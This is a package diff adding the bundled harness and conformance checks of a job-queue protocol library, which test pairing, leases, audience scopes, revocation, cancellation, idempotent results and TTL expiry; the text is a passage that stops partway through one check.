@byollm/conformance 0.1.0-alpha.2 → 0.1.0-alpha.21

package/dist/chunk-XBHNJDI7.js

@@ -0,0 +1,2137 @@
+// src/checks.ts
+import {
+  AUDIENCES,
+  OFFER_SCOPES,
+  ClaimedStub,
+  ENVELOPE_MAX_AGE_MS as ENVELOPE_MAX_AGE_MS2,
+  keyId as keyId2,
+  open as open2,
+  seal as seal2,
+  PROTOCOL_VERSION as PROTOCOL_VERSION2,
+  PublicIdentity,
+  generateKeys,
+  publicIdentityOf as publicIdentityOf2,
+  signRequest as signRequest2,
+  verifyPublicIdentity
+} from "@byollm/protocol";
+
+// src/harness.ts
+import { mkdtemp, rm } from "fs/promises";
+import { tmpdir } from "os";
+import { join } from "path";
+import {
+  ENVELOPE_MAX_AGE_MS,
+  PROTOCOL_VERSION,
+  keyId,
+  open,
+  seal,
+  publicIdentityOf,
+  signRequest
+} from "@byollm/protocol";
+import {
+  Allowlist,
+  Budgets,
+  IngressLog,
+  SpendLedger,
+  ProtocolClient,
+  DeviceIdentity,
+  Runner,
+  connect,
+  resolveConfig,
+  DaemonConfig
+} from "byollm";
+var EchoBackend = class {
+  id = "openai-http";
+  class = "http";
+  /** Prompts this backend was asked to run, in order. */
+  seen = [];
+  /** Set to make the next call hang, for lease and cancel checks. */
+  hangMs = 0;
+  /** Set false to simulate the model not being installed or not running. */
+  healthy = true;
+  /** What the backend reports it can serve. Empty means "does not enumerate". */
+  models = ["echo-model"];
+  health() {
+    return Promise.resolve({ healthy: this.healthy, models: this.models });
+  }
+  async execute(request) {
+    this.seen.push(request.prompt);
+    const started = Date.now();
+    if (this.hangMs > 0) {
+      const hung = request.signal.aborted ? "aborted" : await new Promise((resolve) => {
+        const timer = setTimeout(() => {
+          resolve("done");
+        }, this.hangMs);
+        request.signal.addEventListener(
+          "abort",
+          () => {
+            clearTimeout(timer);
+            resolve("aborted");
+          },
+          { once: true }
+        );
+      });
+      if (hung === "aborted") {
+        return {
+          ok: false,
+          code: "canceled",
+          message: "the job was canceled",
+          retryable: false,
+          durationMs: Date.now() - started
+        };
+      }
+    }
+    return {
+      ok: true,
+      text: `echo: ${request.prompt}`,
+      durationMs: Date.now() - started
+    };
+  }
+};
+function daemonConfig(options) {
+  const metered = options.metered;
+  const backendId = metered ? metered.provider ?? "openai" : options.subscription ? "claude-cli" : "openai-http";
+  const baseUrl = metered ? metered.baseUrl : options.subscription ? void 0 : "http://127.0.0.1:11434/v1";
+  return resolveConfig(
+    DaemonConfig.parse({
+      backends: {
+        primary: {
+          backend: backendId,
+          ...baseUrl === void 0 ? {} : { baseUrl },
+          offer: options.offer,
+          ...metered === void 0 ? {} : {
+            spend: {
+              acknowledged: metered.acknowledged ?? false,
+              ...metered.dailyCapCents === void 0 ? {} : { dailyCapCents: metered.dailyCapCents }
+            }
+          }
+        }
+      },
+      routes: {
+        "llm.generate": { backend: "primary", model: "echo-model" },
+        "llm.chat": { backend: "primary", model: "echo-model" }
+      },
+      concurrency: 4
+    })
+  );
+}
+async function pairDaemon(target, options) {
+  const home = await mkdtemp(join(tmpdir(), "byollm-conformance-"));
+  const loaded = daemonConfig({
+    offer: options.offer ?? "self",
+    subscription: options.subscription ?? false,
+    ...options.metered === void 0 ? {} : { metered: options.metered }
+  });
+  const allowlist = new Allowlist(join(home, "allow.json"));
+  await allowlist.load();
+  const budgets = new Budgets(
+    join(home, "budgets.json"),
+    loaded.config.community
+  );
+  await budgets.load(Date.now());
+  const spend = new SpendLedger(join(home, "spend.json"));
+  await spend.load(Date.now());
+  const ingress = new IngressLog({
+    path: join(home, "ingress.log"),
+    communityPromptDays: 7,
+    keepSelfPrompts: true
+  });
+  const backend = new EchoBackend();
+  const fetchImpl = (input, init) => target.fetch(new Request(input, init));
+  const capabilities = loaded.routes.map((route) => ({
+    kind: route.kind,
+    backendId: route.backendId,
+    backendClass: route.backendClass,
+    model: route.model,
+    offerScope: route.offerScope
+  }));
+  const pairingClient = new ProtocolClient({
+    origin: target.origin,
+    fetch: fetchImpl
+  });
+  let userCode = "";
+  const pairingAbort = new AbortController();
+  let pairingError;
+  const deviceIdentity = new DeviceIdentity(join(home, "keys.json"));
+  const pairing = connect({
+    client: pairingClient,
+    daemonVersion: "conformance",
+    device: await deviceIdentity.publicIdentity(Date.now()),
+    label: options.label ?? `daemon-${options.owner}`,
+    capabilities,
+    onCode: (info) => {
+      userCode = info.userCode;
+    },
+    // A real macrotask, not `Promise.resolve()`: a zero-delay microtask loop
+    // never yields to the event loop, so the approval below could never run
+    // and the poll would spin until the process died.
+    sleep: () => sleep(1),
+    signal: pairingAbort.signal
+  }).catch((error) => {
+    pairingError = error;
+    return { ok: false, reason: "aborted", message: "" };
+  });
+  try {
+    await waitFor(() => userCode !== "", { what: "a pairing code" });
+    await target.approvePairing(userCode, options.owner);
+  } catch (error) {
+    pairingAbort.abort();
+    await pairing;
+    await rm(home, { recursive: true, force: true });
+    throw error;
+  }
+  const result = await pairing;
+  if (!result.ok) {
+    pairingAbort.abort();
+    await rm(home, { recursive: true, force: true });
+    throw new Error(
+      `conformance harness could not pair: ${pairingError instanceof Error ? pairingError.message : result.message}`
+    );
+  }
+  const runner = new Runner({
+    client: new ProtocolClient({
+      origin: target.origin,
+      // The harness signs exactly as a daemon does, so certification
+      // exercises the real verification path.
+      identity: {
+        runnerId: result.pairing.runnerId,
+        sign: (input) => deviceIdentity.signRequest(input)
+      },
+      fetch: fetchImpl
+    }),
+    runnerId: result.pairing.runnerId,
+    owner: result.pairing.owner,
+    identity: {
+      keys: () => deviceIdentity.load(Date.now()),
+      // Pinned at pairing, exactly as a real daemon does.
+      sitePinned: result.pairing.site
+    },
+    daemonVersion: "conformance",
+    loaded,
+    allowlist,
+    budgets,
+    spend,
+    ingress,
+    backendFactory: () => backend
+  });
+  return {
+    runner,
+    backend,
+    allowlist,
+    runnerId: result.pairing.runnerId,
+    owner: result.pairing.owner,
+    keys: await deviceIdentity.load(Date.now()),
+    identityKeys: () => deviceIdentity.load(Date.now()),
+    sitePinned: result.pairing.site,
+    home,
+    ingress,
+    spend,
+    loaded,
+    dispose: async () => {
+      runner.cancelAll();
+      await waitFor(() => runner.status().activeJobs === 0, {
+        timeoutMs: 2e3,
+        what: "in-flight jobs to unwind"
+      }).catch(() => void 0);
+      await removeHome(home);
+    },
+    abandon: async () => {
+      await removeHome(home);
+    }
+  };
+}
+async function ownerIdFor(target, name) {
+  return target.ownerId ? target.ownerId(name) : name;
+}
+async function waitFor(predicate, options = {}) {
+  const timeoutMs = options.timeoutMs ?? 5e3;
+  const intervalMs = options.intervalMs ?? 10;
+  const deadline = Date.now() + timeoutMs;
+  for (; ; ) {
+    if (await predicate()) return;
+    if (Date.now() >= deadline) {
+      throw new Error(
+        `timed out after ${String(timeoutMs)}ms waiting for ${options.what ?? "a condition"}`
+      );
+    }
+    await sleep(intervalMs);
+  }
+}
+function sleep(ms) {
+  return new Promise((resolve) => setTimeout(resolve, ms));
+}
+var MAX_REAL_WAIT_MS = 3e4;
+async function advance(target, ms) {
+  if (target.advanceTime) {
+    await target.advanceTime(ms);
+  } else {
+    if (ms > MAX_REAL_WAIT_MS) {
+      throw new Error(
+        `this check needs to advance ${String(Math.round(ms / 1e3))}s and "${target.name}" cannot fake time, so it would sleep for real. Configure a shorter TTL on the target, or give it advanceTime().`
+      );
+    }
+    await sleep(ms);
+  }
+  await target.sweep();
+}
+async function claimOne(target, daemon) {
+  const capabilities = await daemon.runner.detectCapabilities();
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    capabilities,
+    max: 1
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "claim",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  const response = await target.fetch(
+    new Request(`${target.origin}/byollm/claim`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+  if (response.status !== 200) {
+    throw new Error(`claim answered ${String(response.status)}`);
+  }
+  const parsed = await response.json();
+  const job = parsed.jobs[0];
+  if (!job) throw new Error("claim returned no jobs");
+  return job;
+}
+async function claimRaw(target, daemon, capabilityOverride) {
+  const capabilities = capabilityOverride ?? await daemon.runner.detectCapabilities();
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    capabilities,
+    max: 10
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "claim",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  const response = await target.fetch(
+    new Request(`${target.origin}/byollm/claim`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+  if (response.status !== 200) {
+    throw new Error(`claim answered ${String(response.status)}`);
+  }
+  return (await response.json()).jobs;
+}
+async function releaseLease(target, daemon, jobId, leaseId) {
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    leases: [{ jobId, leaseId }],
+    reason: "backend-down"
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "release",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  return target.fetch(
+    new Request(`${target.origin}/byollm/release`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+}
+async function fetchPayload(target, daemon, jobId, leaseId) {
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    jobId,
+    leaseId
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "fetch",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  const response = await target.fetch(
+    new Request(`${target.origin}/byollm/fetch`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+  if (response.status !== 200) return null;
+  const raw = await response.json();
+  const keys = await daemon.identityKeys();
+  const opened = await open({
+    envelope: raw.envelope,
+    recipientKeys: keys,
+    senderIdentityPublic: daemon.sitePinned.identity,
+    expected: {
+      jobId,
+      senderKeyId: keyId(daemon.sitePinned.identity),
+      recipientKeyId: keyId(publicIdentityOf(keys).identity),
+      direction: "payload"
+    }
+  });
+  return {
+    raw,
+    opened: opened.ok ? JSON.parse(opened.plaintext) : null
+  };
+}
+async function postResult(target, daemon, input) {
+  const keys = await daemon.identityKeys();
+  const sealer = input.sealWith ?? keys;
+  const envelope = await seal({
+    // `{ outcome, ran }` — cloud_008 §2.5.
+    plaintext: JSON.stringify({
+      outcome: input.outcome,
+      ran: { model: "test-model", backendClass: "http", durationMs: 1 }
+    }),
+    senderKeys: sealer,
+    recipientEncryptionPublic: daemon.sitePinned.encryption,
+    context: {
+      jobId: input.jobId,
+      // Always the *device's* key id, even when a relay sealed it: an
+      // attacker naming itself would be refused for the wrong reason, and
+      // this check exists to prove the signature is what refuses it.
+      senderKeyId: keyId(publicIdentityOf(keys).identity),
+      recipientKeyId: keyId(daemon.sitePinned.identity),
+      deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,
+      direction: "result"
+    }
+  });
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    jobId: input.jobId,
+    leaseId: input.leaseId,
+    envelope,
+    disposition: input.disposition ?? input.outcome.outcome
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "result",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  return target.fetch(
+    new Request(`${target.origin}/byollm/result`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+}
+async function removeHome(home) {
+  for (let attempt = 0; attempt < 3; attempt += 1) {
+    try {
+      await rm(home, { recursive: true, force: true });
+      return;
+    } catch {
+      await sleep(20);
+    }
+  }
+  await rm(home, { recursive: true, force: true }).catch(() => void 0);
+}
+async function fetchGenuine(target, daemon, owner = "alice") {
+  const marker = "genuine work";
+  await target.enqueue({
+    kind: "llm.generate",
+    payload: { prompt: marker },
+    // The target's own name for the user, not the id it mapped that to —
+    // passing a mapped id back in addresses a user the target never made.
+    owner,
+    audience: "self"
+  });
+  for (let attempt = 0; attempt < 20; attempt += 1) {
+    try {
+      const stub = await claimOne(target, daemon);
+      const fetched = await fetchPayload(
+        target,
+        daemon,
+        stub.id,
+        stub.lease.id
+      );
+      return JSON.stringify(fetched?.opened ?? {}).includes(marker);
+    } catch {
+      await sleep(50);
+    }
+  }
+  return false;
+}
+
+// src/checks.ts
+function assert(condition, message) {
+  if (!condition) throw new Error(message);
+}
+var prompt = (text = "hello") => ({ prompt: text });
+var CHECKS = [
+  {
+    id: "C001_PAIRING_BINDS_ONE_USER",
+    title: "a runner token is bound to exactly the approving user",
+    musts: ["PAIR_ONE_USER", "PAIR_INTERACTIVE"],
+    async run(target) {
+      const alice = await pairDaemon(target, { owner: "alice" });
+      try {
+        assert(
+          alice.owner === await ownerIdFor(target, "alice"),
+          `runner was bound to "${alice.owner}", not to the approving user`
+        );
+        const bob = await pairDaemon(target, { owner: "bob" });
+        assert(
+          bob.owner !== alice.owner,
+          "two different approvers produced the same runner owner"
+        );
+        try {
+          const job = await target.enqueue({
+            kind: "llm.generate",
+            payload: prompt("alice's private prompt"),
+            owner: "alice",
+            audience: "self"
+          });
+          await bob.runner.tick();
+          await sleep(50);
+          const state = await target.job(job.id);
+          assert(
+            state?.state === "queued",
+            `another user's daemon took a self job (state: ${String(state?.state)})`
+          );
+        } finally {
+          await bob.dispose();
+        }
+      } finally {
+        await alice.dispose();
+      }
+    }
+  },
+  {
+    id: "C002_JOB_ROUND_TRIP",
+    title: "an enqueued job runs on the owner's daemon and the result comes back",
+    musts: ["CLAIM_REQUIRES_CAPABILITY", "RESULT_IDEMPOTENT"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("summarise this"),
+          owner: "alice"
+        });
+        await daemon.runner.tick();
+        await waitFor(async () => (await target.job(job.id))?.state === "ok", {
+          what: "the job to complete"
+        });
+        const finished = await target.job(job.id);
+        assert(
+          finished?.outcome?.text === "echo: summarise this",
+          "the result text did not survive the round trip"
+        );
+        assert(
+          daemon.backend.seen[0] === "summarise this",
+          "the prompt did not reach the model verbatim"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C003_UNKNOWN_KIND_REFUSED",
+    title: "a daemon is never handed a kind it did not advertise",
+    musts: ["KIND_TYPED_ONLY", "CLAIM_REQUIRES_CAPABILITY"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.chat",
+          payload: { messages: [{ role: "user", content: "hi" }] },
+          owner: "alice"
+        });
+        const before = daemon.backend.seen.length;
+        await daemon.runner.tick();
+        await sleep(50);
+        const state = await target.job(job.id);
+        assert(
+          state?.state === "ok" || state?.state === "running" || state?.state === "claimed",
+          `a job for an advertised kind was not taken (state: ${String(state?.state)})`
+        );
+        assert(
+          daemon.backend.seen.length > before,
+          "the advertised kind never reached the backend"
+        );
+        const chat = await target.enqueue({
+          kind: "llm.chat",
+          payload: { messages: [{ role: "user", content: "not for you" }] },
+          owner: "alice"
+        });
+        const generateOnly = await claimRaw(target, daemon, [
+          {
+            kind: "llm.generate",
+            backendId: "openai-http",
+            backendClass: "http",
+            model: "echo-model",
+            offerScope: "self"
+          }
+        ]);
+        assert(
+          !generateOnly.some((offered) => offered.id === chat.id),
+          "a server offered `llm.chat` to a claim advertising only `llm.generate`"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C004_LEASE_RECLAIM",
+    title: "a job whose runner vanished is offered again, losing nothing",
+    musts: ["LEASE_RECLAIMABLE", "LEASE_HONORED"],
+    async run(target) {
+      const dead = await pairDaemon(target, { owner: "alice", label: "dead" });
+      const job = await target.enqueue({
+        kind: "llm.generate",
+        payload: prompt("work"),
+        owner: "alice"
+      });
+      dead.backend.hangMs = 6e4;
+      const firstLease = await claimOne(target, dead);
+      await waitFor(
+        async () => {
+          const state = await target.job(job.id);
+          return state?.state === "claimed" || state?.state === "running";
+        },
+        { what: "the job to be claimed" }
+      );
+      await dead.abandon();
+      await advance(target, target.leaseMs + 500);
+      const alive = await pairDaemon(target, {
+        owner: "alice",
+        label: "alive"
+      });
+      try {
+        const reclaimed = await claimOne(target, alive);
+        assert(
+          reclaimed.id === job.id,
+          "the reclaiming daemon did not get the job"
+        );
+        const late = await postResult(target, dead, {
+          jobId: job.id,
+          leaseId: firstLease.lease.id,
+          outcome: { outcome: "ok", text: "from the machine that vanished" }
+        });
+        const lateBody = await late.json().catch(() => ({}));
+        assert(
+          lateBody.accepted !== true,
+          "a site accepted a result from a runner whose lease had lapsed"
+        );
+        const midflight = await target.job(job.id);
+        assert(
+          !midflight?.outcome,
+          "a lapsed holder's result was recorded over a live grant"
+        );
+        const proper = await postResult(target, alive, {
+          jobId: job.id,
+          leaseId: reclaimed.lease.id,
+          outcome: { outcome: "ok", text: "from the machine that took over" }
+        });
+        assert(
+          proper.status === 200,
+          `the reclaiming daemon could not finish the job (${String(proper.status)})`
+        );
+        const final = await target.job(job.id);
+        assert(
+          final?.outcome?.text === "from the machine that took over",
+          "the reclaimed job did not record the current holder's result"
+        );
+      } finally {
+        await alive.dispose();
+        await dead.dispose();
+      }
+    }
+  },
+  {
+    id: "C005_AUDIENCE_MATRIX",
+    title: "all nine audience \xD7 offer-scope combinations behave as specified",
+    musts: ["AUDIENCE_BOTH_SIDES", "NAMED_LOCAL_ALLOWLIST"],
+    async run(target) {
+      const expected = {
+        "self:self": false,
+        "self:named": false,
+        "self:public": false,
+        "named:self": false,
+        "named:named": false,
+        // refused locally — allowlist is empty
+        "named:public": true,
+        "public:self": false,
+        "public:named": false,
+        // refused locally — allowlist is empty
+        "public:public": true
+      };
+      for (const audience of AUDIENCES) {
+        for (const offer of OFFER_SCOPES) {
+          await target.reset();
+          const bob = await pairDaemon(target, { owner: "bob", offer });
+          try {
+            const job = await target.enqueue({
+              kind: "llm.generate",
+              payload: prompt("community work"),
+              owner: "alice",
+              audience
+            });
+            await bob.runner.tick();
+            await sleep(80);
+            const state = await target.job(job.id);
+            const ran = state?.state === "ok";
+            const shouldRun = expected[`${audience}:${offer}`] ?? false;
+            assert(
+              ran === shouldRun,
+              `audience=${audience} offer=${offer}: expected ${shouldRun ? "to run" : "to be refused"}, got state "${String(state?.state)}"`
+            );
+          } finally {
+            await bob.dispose();
+          }
+        }
+      }
+    }
+  },
+  {
+    id: "C006_NAMED_LOCAL_ALLOWLIST",
+    title: "a named job runs only once the daemon's own allowlist admits it",
+    musts: ["NAMED_LOCAL_ALLOWLIST", "REFUSAL_NOT_REOFFERED"],
+    async run(target) {
+      const bob = await pairDaemon(target, { owner: "bob", offer: "named" });
+      try {
+        const refused = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("before"),
+          owner: "alice",
+          audience: "named"
+        });
+        await bob.runner.tick();
+        await sleep(80);
+        assert(
+          (await target.job(refused.id))?.state !== "ok",
+          "a named job ran without the daemon's local allowlist admitting it"
+        );
+        const reoffered = await claimRaw(target, bob);
+        assert(
+          !reoffered.some((job) => job.id === refused.id),
+          "a server re-offered a job to the runner that refused it"
+        );
+        await bob.allowlist.add(
+          { origin: target.origin, owner: await ownerIdFor(target, "alice") },
+          Date.now()
+        );
+        const allowed = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("after"),
+          owner: "alice",
+          audience: "named"
+        });
+        await bob.runner.tick();
+        await waitFor(
+          async () => (await target.job(allowed.id))?.state === "ok",
+          { what: "the allowed named job to run" }
+        );
+      } finally {
+        await bob.dispose();
+      }
+    }
+  },
+  {
+    id: "C007_SUBSCRIPTION_SELF_LOCK",
+    title: "a subscription backend refuses another user's work at any configured scope",
+    musts: ["SUBSCRIPTION_SELF_LOCK"],
+    async run(target) {
+      const bob = await pairDaemon(target, {
+        owner: "bob",
+        offer: "public",
+        subscription: true
+      });
+      try {
+        await bob.allowlist.add(
+          { origin: target.origin, owner: await ownerIdFor(target, "alice") },
+          Date.now()
+        );
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("someone else's work"),
+          owner: "alice",
+          audience: "public"
+        });
+        await bob.runner.tick();
+        await sleep(80);
+        const state = await target.job(job.id);
+        assert(
+          state?.state !== "ok",
+          "a subscription backend ran another user's job"
+        );
+        assert(
+          bob.backend.seen.length === 0,
+          "another user's prompt reached a subscription backend"
+        );
+        const own = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("my own work"),
+          owner: "bob",
+          audience: "self"
+        });
+        await bob.runner.tick();
+        await waitFor(async () => (await target.job(own.id))?.state === "ok", {
+          what: "the owner's own subscription job to run"
+        });
+      } finally {
+        await bob.dispose();
+      }
+    }
+  },
+  {
+    id: "C008_REVOCATION",
+    title: "a revoked daemon stops mid-queue",
+    // Both halves, and this check already proved both: the daemon learns it
+    // is revoked (`REVOCATION_HONORED`), *and* the upstream leaves the job
+    // queued rather than granting it (`REVOCATION_IMMEDIATE`). The second
+    // assertion was here and cited nothing — which is how a MUST comes to be
+    // declared in a spec, absent from the registry, and tested all along.
+    musts: ["REVOCATION_HONORED", "REVOCATION_IMMEDIATE"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        await target.revokeRunner(daemon.runnerId);
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("after revocation"),
+          owner: "alice"
+        });
+        await daemon.runner.tick();
+        await sleep(80);
+        assert(
+          daemon.runner.status().revoked,
+          "the daemon did not learn it was revoked"
+        );
+        assert(
+          (await target.job(job.id))?.state === "queued",
+          "a revoked daemon took new work"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C009_CANCEL_MID_FLIGHT",
+    title: "cancel aborts a running job's backend call",
+    musts: ["CANCEL_HONORED"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        daemon.backend.hangMs = 3e4;
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("long job"),
+          owner: "alice"
+        });
+        await daemon.runner.tick();
+        await waitFor(() => daemon.backend.seen.length > 0, {
+          what: "the job to start running"
+        });
+        await target.cancelJob(job.id);
+        await daemon.runner.tick();
+        await waitFor(
+          async () => (await target.job(job.id))?.state === "canceled",
+          { what: "the job to report canceled", timeoutMs: 1e4 }
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C010_RESULT_IDEMPOTENT",
+    title: "the first terminal outcome wins",
+    musts: ["RESULT_IDEMPOTENT"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("once"),
+          owner: "alice"
+        });
+        const claimed = await claimOne(target, daemon);
+        assert(claimed.id === job.id, "the harness could not claim its job");
+        const first = await postResult(target, daemon, {
+          jobId: job.id,
+          leaseId: claimed.lease.id,
+          outcome: { outcome: "ok", text: "the answer that counts" }
+        });
+        assert(
+          first.status === 200,
+          `a site refused the first result (${String(first.status)})`
+        );
+        const replay = await postResult(target, daemon, {
+          jobId: job.id,
+          leaseId: claimed.lease.id,
+          outcome: { outcome: "ok", text: "SECOND ANSWER" }
+        });
+        assert(
+          replay.status === 200,
+          `a replayed result was rejected rather than ignored (${String(replay.status)})`
+        );
+        const body = await replay.json();
+        assert(
+          body.accepted === false,
+          "a site reported a replayed result as newly accepted"
+        );
+        assert(
+          body.duplicate === true,
+          "a replay from the device that finished the job was not called a duplicate"
+        );
+        const after = await target.job(job.id);
+        assert(
+          after?.outcome?.text === "the answer that counts",
+          `a second result overwrote the first (${String(after?.outcome?.text)})`
+        );
+        const stranger = await pairDaemon(target, { owner: "alice" });
+        try {
+          const foreign = await postResult(target, stranger, {
+            jobId: job.id,
+            leaseId: claimed.lease.id,
+            outcome: { outcome: "ok", text: "not this device's to answer" }
+          });
+          const foreignBody = await foreign.json().catch(() => ({}));
+          assert(
+            foreignBody["duplicate"] !== true,
+            "a site told a device that never held this job it was a duplicate"
+          );
+          const stillFirst = await target.job(job.id);
+          assert(
+            stillFirst?.outcome?.text === "the answer that counts",
+            "a stranger's result overwrote a terminal job"
+          );
+        } finally {
+          await stranger.dispose();
+        }
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C011_DEPENDENCY_ORDER",
+    title: "a dependent job waits for its dependency, across two daemons",
+    musts: ["DEPENDS_ON_GATING", "TTL_EXPIRY"],
+    async run(target) {
+      const alice = await pairDaemon(target, { owner: "alice" });
+      const bob = await pairDaemon(target, { owner: "bob" });
+      try {
+        const first = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("step one"),
+          owner: "bob",
+          audience: "self"
+        });
+        const second = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("step two"),
+          owner: "alice",
+          audience: "self",
+          dependsOn: [first.id]
+        });
+        await alice.runner.tick();
+        await sleep(80);
+        assert(
+          alice.backend.seen.length === 0,
+          "a dependent job ran before its dependency completed"
+        );
+        assert(
+          (await target.job(second.id))?.state === "queued",
+          "a dependent job left the queue early"
+        );
+        await bob.runner.tick();
+        await waitFor(
+          async () => (await target.job(first.id))?.state === "ok",
+          { what: "the dependency to complete" }
+        );
+        await alice.runner.tick();
+        await waitFor(
+          async () => (await target.job(second.id))?.state === "ok",
+          { what: "the dependent job to complete" }
+        );
+      } finally {
+        await alice.dispose();
+        await bob.dispose();
+      }
+    }
+  },
+  {
+    id: "C012_TTL_AND_NO_RUNNER",
+    title: "an unclaimed job expires and no-runner is surfaced, but not while blocked",
+    musts: ["TTL_EXPIRY", "NO_RUNNER_SIGNAL"],
+    async run(target) {
+      const availability = await target.runnerAvailability({
+        kind: "llm.generate",
+        owner: "alice"
+      });
+      assert(
+        !availability.available,
+        "no-runner was not surfaced with nothing paired"
+      );
+      const job = await target.enqueue({
+        kind: "llm.generate",
+        payload: prompt("nobody will run this"),
+        owner: "alice",
+        ttlMs: target.ttlMs
+      });
+      await advance(target, target.ttlMs + 500);
+      const state = await target.job(job.id);
+      assert(
+        state?.state === "expired",
+        `an unclaimed job past its TTL was "${String(state?.state)}", not expired`
+      );
+    }
+  },
+  {
+    id: "C013_TTL_CLOCK_STARTS_WHEN_CLAIMABLE",
+    title: "a dependent job's TTL starts when it becomes claimable, not at enqueue",
+    musts: ["TTL_EXPIRY"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        daemon.backend.hangMs = target.ttlMs * 2;
+        const first = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("slow step"),
+          owner: "alice"
+        });
+        const second = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("waiting step"),
+          owner: "alice",
+          dependsOn: [first.id],
+          ttlMs: target.ttlMs
+        });
+        await daemon.runner.tick();
+        await advance(target, target.ttlMs + 200);
+        const blocked = await target.job(second.id);
+        assert(
+          blocked?.state === "queued",
+          `a blocked job expired while waiting on its dependency (state: ${String(blocked?.state)}) \u2014 the TTL clock started too early`
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C014_RESULT_PROVENANCE",
+    title: "a community result arrives marked untrusted, a self result does not",
+    // `PROVENANCE_NAMES_DEVICE` supersedes `RESULT_PROVENANCE` — a
+    // strengthening rather than a rename. C030 is the other half: a label
+    // means nothing unless a result whose signature does not verify against
+    // the granted device is refused rather than recorded.
+    musts: ["PROVENANCE_NAMES_DEVICE"],
+    async run(target) {
+      const bob = await pairDaemon(target, { owner: "bob", offer: "public" });
+      try {
+        const community = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("run this anywhere"),
+          owner: "alice",
+          audience: "public"
+        });
+        await bob.runner.tick();
+        await waitFor(
+          async () => (await target.job(community.id))?.state === "ok",
+          { what: "the community job to complete" }
+        );
+        const delivered = await target.job(community.id);
+        assert(
+          delivered?.provenance?.untrusted === true,
+          "a public result was not marked untrusted"
+        );
+        assert(
+          delivered.provenance.runnerOwner === "bob",
+          "the result did not carry the runner's owner"
+        );
+        const own = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("my own"),
+          owner: "bob",
+          audience: "self"
+        });
+        await bob.runner.tick();
+        await waitFor(async () => (await target.job(own.id))?.state === "ok", {
+          what: "the self job to complete"
+        });
+        assert(
+          (await target.job(own.id))?.provenance?.untrusted === false,
+          "a self result was marked untrusted"
+        );
+      } finally {
+        await bob.dispose();
+      }
+    }
+  },
+  {
+    id: "C015_INGRESS_BEFORE_EXECUTION",
+    title: "every executed prompt is in the ingress log before it runs",
+    musts: ["INGRESS_LOGGED_BEFORE_EXECUTION"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      let ticking = Promise.resolve();
+      try {
+        daemon.backend.hangMs = 3e4;
+        const job = await target.enqueue({
+          kind: "llm.generate",
